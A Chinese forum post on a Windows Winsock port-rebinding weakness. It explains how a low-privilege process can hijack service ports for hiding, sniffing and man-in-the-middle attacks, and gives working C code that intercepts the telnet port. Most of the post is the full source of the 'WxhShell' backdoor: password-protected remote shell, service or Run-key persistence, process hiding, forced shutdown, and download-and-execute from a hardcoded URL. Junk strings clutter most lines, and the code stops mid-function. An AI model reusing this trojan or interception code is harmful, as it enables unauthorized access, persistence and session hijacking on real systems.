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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k=@Q#=;*[W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $?\],T  
(]1 %s?ud*  
  saddr.sin_family = AF_INET; ^tah4QmUA  
zE[c$KPP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N(9'U0z  
6-3l6q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \; 3r  
L,WK L.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =4zsAa  
HiC\U%We  
  这意味着什么?意味着可以进行如下的攻击: ,'!&Z *  
`# R$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r#XDgZtI  
& zG=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;[xDc>&("Q  
)"1D-Bc\Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <ygO?m{  
&^<94l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4Mprc~ 7vr  
gor6c3i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uk1IT4+  
C.@zVt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lY1m%  
O7.Is88!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ={fi&j  
IOA{l N6  
  #include ri:fo'4TO  
  #include GB+G1w  
  #include ~ e"^-x  
  #include    NlKnMgt~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T>c;q%A/  
  int main() sLTf).xh  
  { DgdW.Kj|IL  
  WORD wVersionRequested; .Ybm27Dk  
  DWORD ret; F kWJB>  
  WSADATA wsaData; ^I0SfZ'Y  
  BOOL val; {<GsM  
  SOCKADDR_IN saddr; 65AOFH  
  SOCKADDR_IN scaddr; +z4NxR   
  int err; EU+sTe>  
  SOCKET s; v}!,4,]:&  
  SOCKET sc; cq0jM;@d  
  int caddsize; ]8mBFr5E9  
  HANDLE mt; &8;mcM//4  
  DWORD tid;   ENGw <  
  wVersionRequested = MAKEWORD( 2, 2 ); &~k/G  
  err = WSAStartup( wVersionRequested, &wsaData ); V=YK3){>A  
  if ( err != 0 ) { PY^Yx$t9  
  printf("error!WSAStartup failed!\n"); ?FA:K0H?zl  
  return -1; +Kk6|+5u  
  }  oCduY2  
  saddr.sin_family = AF_INET; 34oC285yc  
   oreS u;`$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cZwQ{9>  
D^A_0@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %|;^[^7+}t  
  saddr.sin_port = htons(23); WaH TzIa[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i{`>!)U  
  { 8^^al!0K~  
  printf("error!socket failed!\n"); 4yknX% [  
  return -1; H&GM q5)B  
  } tuv4~i<  
  val = TRUE; H[Qh*pq2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZQyT$l~b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R ~cc]kp0  
  { 3*FktXmI}  
  printf("error!setsockopt failed!\n"); 1D*e u  
  return -1; , vky  
  } [X-Q{c4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "aP/214Ul  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -Wmpj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P017y&X  
r2Q"NVw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jReI+ pS  
  { eQ*gnV}rE%  
  ret=GetLastError(); /aK },+  
  printf("error!bind failed!\n"); 4TLh'?Xu9  
  return -1; i}q6^;uTF  
  } _gc2h@x1O  
  listen(s,2); ] 03!K E  
  while(1) >_5D`^  
  { F~{ 4)`  
  caddsize = sizeof(scaddr); &;y(@e }D  
  //接受连接请求 4gYP .h:,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 72PDqK#  
  if(sc!=INVALID_SOCKET) SkK=VeD>8  
  { e\P+R>i0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  UWu|w  
  if(mt==NULL) #a/lt^}C*  
  { 08'JT{iid  
  printf("Thread Creat Failed!\n"); "e_ED*  
  break; \TKv3N  
  } p1 o?^A&  
  } 9 /9,[A  
  CloseHandle(mt); Jcy`:C\Ay  
  } BkIvoW_  
  closesocket(s); %D&FnTa  
  WSACleanup(); oVLz7Y[JE  
  return 0; s_RYYaM  
  }   .d.7D ]Yn  
  DWORD WINAPI ClientThread(LPVOID lpParam) /A_ IS`  
  { 9gWQGkql  
  SOCKET ss = (SOCKET)lpParam; a5&wS@) ;  
  SOCKET sc; {B[i|(xQx  
  unsigned char buf[4096]; /R^!~J50  
  SOCKADDR_IN saddr; g :O.$  
  long num; K7CiICe  
  DWORD val; |ejrE,~1vb  
  DWORD ret; 5xRh'Jkyb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f(9w FT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xE+Go  
  saddr.sin_family = AF_INET; ,PY<AI^59  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SH5k^EJ  
  saddr.sin_port = htons(23); >;HXH^q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E6n;_{Se/S  
  { >q]r)~8F^  
  printf("error!socket failed!\n"); ?lbX.+  
  return -1; Gk!v-h9cq  
  } ;7qk9rz4  
  val = 100; k5<lkC2z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {VI%]n{M  
  { 5Lue.U%a  
  ret = GetLastError(); 8l?]UFM>C  
  return -1; b#$:XS  
  } 4$_8#w B1&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'o5[ :=K  
  { u D . 0?*_  
  ret = GetLastError(); IMVoNKW-  
  return -1; ^\x PF5  
  } C8(sH@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V @8X .R>  
  { lMP|$C  
  printf("error!socket connect failed!\n"); <KJ18/  
  closesocket(sc); Wmp\J3  
  closesocket(ss); J_`.w  
  return -1; EQ7cK63  
  } OD*DHC2rN]  
  while(1) Z5NuLB'  
  { W[YcYa_tQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gzw[^d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :Z&ipd!yY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }De)_E\~  
  num = recv(ss,buf,4096,0); x %$Z/  
  if(num>0) +K+ == mO&  
  send(sc,buf,num,0); B{zIW'Ld  
  else if(num==0) G-rN?R.  
  break; )m6=_q5@o  
  num = recv(sc,buf,4096,0); GZO,]%z  
  if(num>0)  f0:)  
  send(ss,buf,num,0); x!G\-2#  
  else if(num==0) #+r-$N.7  
  break; GhQ.}@*  
  } k 9s3@S  
  closesocket(ss); Xst&QKU  
  closesocket(sc); 4CNK ]2  
  return 0 ; .p0;y3so4  
  } 6g$+))g  
,m0=zH4+:  
 {!x-kF_  
========================================================== v^KJU +  
i++ F&r[  
下边附上一个代码,,WXhSHELL <Qwi 0$  
bv|v9_i  
========================================================== CVu'uyy  
P^&+ehp  
#include "stdafx.h" *r(iegO$  
pvcf_w`n  
#include <stdio.h> F[ 9IHT6{  
#include <string.h> SUx\qz)  
#include <windows.h> *6k (xL  
#include <winsock2.h> c?wFEADn  
#include <winsvc.h> Kz'W |  
#include <urlmon.h> ujDAs%6MZ  
S,J'Z:spf  
#pragma comment (lib, "Ws2_32.lib") M~3(4,  
#pragma comment (lib, "urlmon.lib") MLL2V`vBT  
hWuq  
#define MAX_USER   100 // 最大客户端连接数 3{,Mpb@  
#define BUF_SOCK   200 // sock buffer sp AYb<  
#define KEY_BUFF   255 // 输入 buffer c*LnLK/m  
[?;oiEe.|  
#define REBOOT     0   // 重启 eeuAo&L&  
#define SHUTDOWN   1   // 关机 +>/ Q+nh  
]_#[o S  
#define DEF_PORT   5000 // 监听端口 GVFD_;j'  
EEF}Wf$f  
#define REG_LEN     16   // 注册表键长度 W*VQ"CW{^]  
#define SVC_LEN     80   // NT服务名长度 >N44&W  
? BBDk  
// 从dll定义API M*@MkN*u&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e?F r/n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X/'B*y'=U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?jb7Oq#[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $YL} rM  
Jb_/c``  
// wxhshell配置信息 >Utn[']~  
struct WSCFG { D|UDLaz~  
  int ws_port;         // 监听端口 <:/V`b3a  
  char ws_passstr[REG_LEN]; // 口令 >>&~;PG[  
  int ws_autoins;       // 安装标记, 1=yes 0=no [<OMv9(l'o  
  char ws_regname[REG_LEN]; // 注册表键名 }8 ,b; Q  
  char ws_svcname[REG_LEN]; // 服务名 !'n+0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |RHX2sso  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cj5p I?@e)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :qw:)i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \b~zyt6-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - !7QH'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VSM%<-iQ  
|h8C}P&Z  
}; m|e!1_ :H  
6V!yfps)  
// default Wxhshell configuration E&]S No<  
struct WSCFG wscfg={DEF_PORT, :90DS_4  
    "xuhuanlingzhe", $g 5pKk  
    1, Rm6<"SLV  
    "Wxhshell", "PnYa)?1  
    "Wxhshell", ZH/|L?Q1U  
            "WxhShell Service", XBi@\i=  
    "Wrsky Windows CmdShell Service", A9F&XF7{  
    "Please Input Your Password: ", SyTcp?H  
  1, TlAY=JwW  
  "http://www.wrsky.com/wxhshell.exe", |0mh*+i  
  "Wxhshell.exe" Zni8 im,_j  
    }; Vs m06Rj{  
L"#Tas\5  
// 消息定义模块 7dN]OUdi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t+p-,ey^@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^> ZQ:xs@(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (z+[4l7  
char *msg_ws_ext="\n\rExit."; ;LthdY()n(  
char *msg_ws_end="\n\rQuit."; 0jE,=<W0>  
char *msg_ws_boot="\n\rReboot..."; #P18vK5  
char *msg_ws_poff="\n\rShutdown..."; hF!yp7l;  
char *msg_ws_down="\n\rSave to "; Hm1C|Qb  
u~% m(  
char *msg_ws_err="\n\rErr!"; {h|3P/?7  
char *msg_ws_ok="\n\rOK!"; P?\rRB  
et/mfzV  
char ExeFile[MAX_PATH]; c[J#Hc8;  
int nUser = 0; C[<&% =  
HANDLE handles[MAX_USER]; o]PSyVg  
int OsIsNt; Koahd =  
Qa(u+  
SERVICE_STATUS       serviceStatus; u[fQvdl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]Cbht\Ag"  
G8 f7N; D  
// 函数声明 $F;$-2  
int Install(void); vqv(KsD+::  
int Uninstall(void); >PL/>   
int DownloadFile(char *sURL, SOCKET wsh); ]!0 BMZmf  
int Boot(int flag); v;jrAND  
void HideProc(void); u&r @@p.  
int GetOsVer(void); 5as';1^P&*  
int Wxhshell(SOCKET wsl); HwM:bY N  
void TalkWithClient(void *cs); >/ HC{.k  
int CmdShell(SOCKET sock); (f $Y0;v>}  
int StartFromService(void); L.ndLd  
int StartWxhshell(LPSTR lpCmdLine); Br1JZHgA  
F_\\n#bv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tgc&DT; E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7s>d/F3*  
sW|u}8`  
// 数据结构和表定义 ;MNEe% TJ  
SERVICE_TABLE_ENTRY DispatchTable[] = A7~)h}~   
{ OlMCF.W#3  
{wscfg.ws_svcname, NTServiceMain}, AY,6Ddw  
{NULL, NULL} 1QjrL@$>15  
}; *E+) mB"~  
CDoZv""  
// 自我安装 Y13IrCA2  
int Install(void) }# w>>{Q  
{ ^EZ)NG=e5  
  char svExeFile[MAX_PATH]; S7~yRIjB  
  HKEY key; ~8}"X] 4  
  strcpy(svExeFile,ExeFile); m6+2r D  
PY)C=={p  
// 如果是win9x系统,修改注册表设为自启动 si%f.A#  
if(!OsIsNt) { g)u2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tb:n6a@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @b-?KH  
  RegCloseKey(key); 'xr\\Cd9s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :mL\KQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :t^=~xO9  
  RegCloseKey(key); F2 >o"j2  
  return 0; ls 'QfJm  
    } C @hnT<e  
  } 6Q>:g"_  
} '00DUUa  
else { Lu1>A {et  
LTBqXh  
// 如果是NT以上系统,安装为系统服务 3_vggK%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >(:KEA  
if (schSCManager!=0) nb(#;3DQ  
{ ] M_[*OAb  
  SC_HANDLE schService = CreateService jk) V[7P  
  ( |VaXOdD`&  
  schSCManager, oV,>u5:B  
  wscfg.ws_svcname, g7_a8_  
  wscfg.ws_svcdisp, ~EE*/vX  
  SERVICE_ALL_ACCESS, %C'!L]#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ctH`71Y  
  SERVICE_AUTO_START, pZ OVD%  
  SERVICE_ERROR_NORMAL, {lx^57v  
  svExeFile, 4'G<qJoc  
  NULL, }[D[ZLv  
  NULL, dKZffDTZ  
  NULL, F RS@-P  
  NULL, m' z<d  
  NULL l&;#`\s!V  
  ); {3 zq.e{  
  if (schService!=0) EC?!%iO`  
  { sL+/Eeb` c  
  CloseServiceHandle(schService); /!jn$4fd:  
  CloseServiceHandle(schSCManager); 9QWS[E4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;t[<!  
  strcat(svExeFile,wscfg.ws_svcname); +#'exgGU^[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c|96;=z~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v<3i~a  
  RegCloseKey(key); &[23DrI8  
  return 0; lq1pgM?Kf  
    } V..m2nQj  
  } wR>\5z )^  
  CloseServiceHandle(schSCManager); wU?2aXY  
} c_HYB/'  
} oAvL?2  
cz&FOP+!  
return 1; E xY ~.  
} zF\k*B  
a8A8?:  
// 自我卸载 !oM 1  
int Uninstall(void) }3M\&}=8  
{ &d9";V"E  
  HKEY key; F0Rk[GM  
WElB,a-RCp  
if(!OsIsNt) { vIz~B2%x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 tit>dJ  
  RegDeleteValue(key,wscfg.ws_regname); HQv#\Xi1  
  RegCloseKey(key); M6y:ze  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "d%":F(  
  RegDeleteValue(key,wscfg.ws_regname); o`hF1*yp  
  RegCloseKey(key); xjv?Z"X  
  return 0; Rz*%(2Vz  
  } ML Id3#Q  
} #{i\t E  
} Y~fds#y0  
else { S(9fGh  
]e)<CE2   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]7c715@  
if (schSCManager!=0) IuB0C!'  
{ ? 0nbvV5v7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (Cqhk:F  
  if (schService!=0) )[G5qTO  
  { $I>.w4G}  
  if(DeleteService(schService)!=0) { 8Qek![3^  
  CloseServiceHandle(schService); bBC3% H^  
  CloseServiceHandle(schSCManager); NqlG=pu  
  return 0; DkQy.  
  } *.W ![%Be  
  CloseServiceHandle(schService); sq&$   
  } 7lf* vqG  
  CloseServiceHandle(schSCManager); gnx!_H\h<  
} vY }/CBmg  
} g^4'42UX  
sq-[<ryk  
return 1; Dgp"RUP  
} QTtcGU  
ewY+a , t  
// 从指定url下载文件 U6n%rdXJ=  
int DownloadFile(char *sURL, SOCKET wsh) vSPkm)O0)  
{ umSbxEZU@  
  HRESULT hr; W@#)8];>  
char seps[]= "/"; krI<'m;a  
char *token; 3QU<vdtr  
char *file; O62H4oT  
char myURL[MAX_PATH]; V. \do"m  
char myFILE[MAX_PATH]; iHWl%]7sN  
A$[@AY$MI  
strcpy(myURL,sURL); F0+u#/#  
  token=strtok(myURL,seps); ]"{K5s7  
  while(token!=NULL) iS=} | 8"  
  { 4CfPa6_  
    file=token; }(20MW8rMc  
  token=strtok(NULL,seps); j`='SzVloW  
  } WPCaxA+l  
~.yt  
GetCurrentDirectory(MAX_PATH,myFILE); 4^  $  
strcat(myFILE, "\\"); lUUeM\  
strcat(myFILE, file); |4ONGU*`E  
  send(wsh,myFILE,strlen(myFILE),0); X0Xs"--}  
send(wsh,"...",3,0); G\|VTqu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gtVI>D'(W  
  if(hr==S_OK) g' H!%<  
return 0; 8L6!CP_!  
else %R-"5?eTtu  
return 1; W32bBzhL  
3dQV5E.  
} s?7g3H5#0k  
f9X*bEl9;`  
// 系统电源模块 / ~w\Npf0  
int Boot(int flag) a 0Hzf  
{ pRc@0^G  
  HANDLE hToken; _{C:aIl[2  
  TOKEN_PRIVILEGES tkp; *:aJlvk  
aQ46euth  
  if(OsIsNt) { Y(-4Agq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FF)F%o+:w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aj|I[65  
    tkp.PrivilegeCount = 1; W6 f*>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?b:l.0m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ja#E}`wC4  
if(flag==REBOOT) { .@gv }`>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y u8a8p|  
  return 0; ~4`LOROC  
}  -*M/,O  
else { A +e ={-*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K p ~x  
  return 0; p4*VE5[?_+  
} o} YFDYi  
  } |!aMj8i2  
  else { Jp=ur)Dj  
if(flag==REBOOT) { 7=aF-;X3jj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S XIo  
  return 0; Wg3y y8vIW  
} `Q' 0l},  
else { 0 ua.aL'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zdlysr#  
  return 0; k8Qm +r<p  
} {I&>`?7.  
} @M?;~M?B]J  
27<~m=`}d  
return 1; 4 B"tz!  
} ))K3pKyb  
+DY% Y `0  
// win9x进程隐藏模块 %D)W~q-g  
void HideProc(void) g0: mm,t\  
{ 2bPrND\P=  
Ugp[Ugr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #tRLvOR:  
  if ( hKernel != NULL ) t5\~Z}G8  
  { cz~Fz;)2{N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J'G 6Z7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mm;kB/ 1  
    FreeLibrary(hKernel); Jlj=FA`  
  } %oJ_,m_(  
se:]F/  
return; /bjyV]N  
} NldeD2~H  
=6y4*f  
// 获取操作系统版本 WZOi,  
int GetOsVer(void) p-POg%|&<  
{ LBh|4S$K  
  OSVERSIONINFO winfo; rwWs\~.H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wf)T-]e  
  GetVersionEx(&winfo); Eaf6rjD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H~Xi;[{7  
  return 1; &^=6W3RD  
  else E:a_f!  
  return 0; ,_,Z<X/  
} T>7$<ulm  
\DI%/(?  
// 客户端句柄模块 %5?qS`/c(  
int Wxhshell(SOCKET wsl) :P1 J>dcG  
{ "CI#2tnL7  
  SOCKET wsh; 80TSE*  
  struct sockaddr_in client; J!b v17H"  
  DWORD myID; 5V;BimI  
b_+dNoB  
  while(nUser<MAX_USER) 9*pH[vH  
{ 3J%(2}{y  
  int nSize=sizeof(client); _Q_"_*e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q+<X*yC  
  if(wsh==INVALID_SOCKET) return 1; i0; p?4`m  
xdGmiHN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P1tc*2Z  
if(handles[nUser]==0) f s_6`Xt  
  closesocket(wsh); UIPi<_Xa  
else owM3Gz%?UA  
  nUser++; biLx-F c  
  } Y3KKskhLx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .aTu]i3l_  
E&ou(Q={  
  return 0; @0H}U$l  
} 1AiqB Rs  
8@pY:AY  
// 关闭 socket 3 (Bd`=9  
void CloseIt(SOCKET wsh) =|_:H$94  
{ -T3 z@k  
closesocket(wsh); =aR'S\<  
nUser--; BV_rk^}Ur  
ExitThread(0); ~5g2~.&*  
} zg L0v5vk  
53=5xE= `D  
// 客户端请求句柄 /Z`("X?_Kf  
void TalkWithClient(void *cs) X!#rw= Q  
{ -]HPDN,OB  
s~(!m. R  
  SOCKET wsh=(SOCKET)cs; `L n,qiA  
  char pwd[SVC_LEN]; pD;'uEFBQ  
  char cmd[KEY_BUFF]; CEbZj z|  
char chr[1]; mNhVLB  
int i,j; 3<">1] /,  
av|r^zc  
  while (nUser < MAX_USER) { =qG%h5]n  
0* 7N=  
if(wscfg.ws_passstr) { ?5@!r>i=<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4L<h% 'Zn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YhQ;>Ko  
  //ZeroMemory(pwd,KEY_BUFF); Nmu;+{19M  
      i=0; J" :R,w`  
  while(i<SVC_LEN) { R<wPO-dX  
/~=W3lhY  
  // 设置超时 LEu_RU?  
  fd_set FdRead; l} \q }7\)  
  struct timeval TimeOut; IXQxjqd^  
  FD_ZERO(&FdRead); =Rv!c+?  
  FD_SET(wsh,&FdRead); )o4B^kq  
  TimeOut.tv_sec=8; O>FE-0rW}e  
  TimeOut.tv_usec=0; <WPLjgtn3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _4+'@u #  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /<"<N<X  
xcf`i:\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cviPCjM  
  pwd=chr[0]; VH*4fcT'D  
  if(chr[0]==0xd || chr[0]==0xa) { acG4u+[ ]  
  pwd=0; Wycood*  
  break; e#{,M8  
  } :U>[*zE4&  
  i++; uu5L9.i9  
    } L_ &`  
o'#ow(X  
  // 如果是非法用户,关闭 socket eW"L")  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8\BYm|%aa  
} nPg,(8Tt  
9FcH\2J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y*vg9`$k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y5R|)x  
5XF&yYWq  
while(1) { wfq}NK;  
(3  ]!ZV  
  ZeroMemory(cmd,KEY_BUFF); n,*E s/\  
^2-+MWW.  
      // 自动支持客户端 telnet标准   LLU]KZhtY|  
  j=0; z *~rd2  
  while(j<KEY_BUFF) {  +OeoA{-W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' )~G2Ys  
  cmd[j]=chr[0]; jm&PGZ#n=R  
  if(chr[0]==0xa || chr[0]==0xd) { J5L[)Gd)D  
  cmd[j]=0; aBT8mK -.  
  break; %h4|$  
  } $m[* )0/  
  j++; A(T=  
    } !~!\=etm  
U*cWNn:."  
  // 下载文件  E-L>.tD  
  if(strstr(cmd,"http://")) { KF}_|~~T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ea&1+Z[3  
  if(DownloadFile(cmd,wsh)) oA`G\Xh_E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5u. Ix3  
  else PD`EtkUnv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'da$i  
  } Ch7&9NW  
  else { <ql:n  
UdK+,k~m/  
    switch(cmd[0]) { U!i@XA%P  
  RWdx) qj{  
  // 帮助 ^Kj xQO6y3  
  case '?': { :~LOw}N!aQ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Po7oo9d  
    break; JTdcL mL  
  } a8cX {6  
  // 安装 C sx EN4  
  case 'i': { Z/+H  
    if(Install()) 22gh,e2o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6bd{3@   
    else ^^kL.C Ym  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dy^A??A[E}  
    break; U{ ZKxE  
    } }ZkGH}K_}  
  // 卸载 7f\/cS^  
  case 'r': { o>MB8[r  
    if(Uninstall()) '$y.`/$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QR(j7>+J^  
    else <~P([5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Ss)i7  
    break; ,Lr}P  
    } G4QsR7  
  // 显示 wxhshell 所在路径 'tMS5d)4:  
  case 'p': { qd@Fb*  
    char svExeFile[MAX_PATH]; Bt(U,nFB  
    strcpy(svExeFile,"\n\r"); (/gMtIw  
      strcat(svExeFile,ExeFile); )g[7XB/w  
        send(wsh,svExeFile,strlen(svExeFile),0); yPT\9"/  
    break; [WBU _  
    } L]3gHq  
  // 重启 #p/'5lA&j  
  case 'b': { t[%ELHV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9}#9i^%}  
    if(Boot(REBOOT)) "fWm{;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s%]%2O N  
    else { &U{"dJr  
    closesocket(wsh); 'aJm4W&j  
    ExitThread(0); wY_! s Qo  
    } }080=E  
    break; *(j -jbA  
    } "J*LR  
  // 关机 7YQ689"J6B  
  case 'd': { EBx!q8zz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %)PQomn?  
